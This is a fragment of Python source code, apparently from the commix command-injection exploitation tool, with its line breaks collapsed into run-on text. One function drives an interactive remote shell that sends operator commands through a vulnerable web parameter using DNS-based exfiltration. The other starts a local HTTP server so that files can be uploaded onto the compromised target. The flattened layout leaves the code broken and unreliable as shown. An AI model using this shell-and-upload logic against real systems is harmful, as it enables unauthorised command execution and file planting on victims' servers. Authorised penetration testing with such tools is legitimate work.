def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): err_msg = "" if menu.enumeration_options(): err_msg += "enumeration" if menu.file_access_options(): if err_msg != "": err_msg = err_msg + " and " err_msg = err_msg + "file-access" if err_msg != "": warn_msg = "The " + err_msg + " options are not supported " warn_msg += "by this module because of the structure of the exfiltrated data. " warn_msg += "Please try using any unix-like commands manually." print(settings.print_warning_msg(warn_msg)) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: try: if not settings.READLINE_ERROR: checks.tab_autocompleter() cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": print(settings.SPACE) os._exit(0) elif cmd.lower() == "?": menu.os_shell_options() elif cmd.lower() == "os_shell": warn_msg = "You are already into the '" + cmd.lower( ) + "' mode." print(settings.print_warning_msg(warn_msg)) + "\n" elif cmd.lower() == "reverse_tcp": warn_msg = "This option is not supported by this module." print(settings.print_warning_msg(warn_msg)) + "\n" else: # Command execution results. cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter) except KeyboardInterrupt: print(settings.SPACE) os._exit(0) except: print(settings.SPACE) os._exit(0) elif gotshell in settings.CHOICE_NO: print(settings.SPACE) os._exit(0) elif gotshell in settings.CHOICE_QUIT: print(settings.SPACE) os._exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass
def file_upload(): if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): if not menu.options.file_dest.endswith("/"): menu.options.file_dest = menu.options.file_dest + "/" # Check if not defined URL for upload. while True: if not menu.options.batch: question_msg = "Do you want to enable an HTTP server? [Y/n] > " enable_HTTP_server = _input(settings.print_question_msg(question_msg)) else: enable_HTTP_server = "" if len(enable_HTTP_server) == 0: enable_HTTP_server = "Y" if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists if not os.path.isfile(menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exist." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() # Setting the local HTTP server. if settings.LOCAL_HTTP_IP == None: while True: question_msg = "Please enter your interface IP address > " ip_addr = _input(settings.print_question_msg(question_msg)) # check if IP address is valid ip_check = simple_http_server.is_valid_ipv4(ip_addr) if ip_check == False: err_msg = "The provided IP address seems not valid." print(settings.print_error_msg(err_msg)) pass else: settings.LOCAL_HTTP_IP = ip_addr break # Check for invalid HTTP server's port. if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535: err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")." print(settings.print_critical_msg(err_msg)) raise SystemExit() http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) info_msg = "Setting the HTTP server on '" + http_server + "/'. " print(settings.print_info_msg(info_msg)) menu.options.file_upload = http_server + "/" + menu.options.file_upload simple_http_server.main() break elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " print(settings.print_critical_msg(err_msg)) raise SystemExit() break elif enable_HTTP_server in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enable_HTTP_server + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass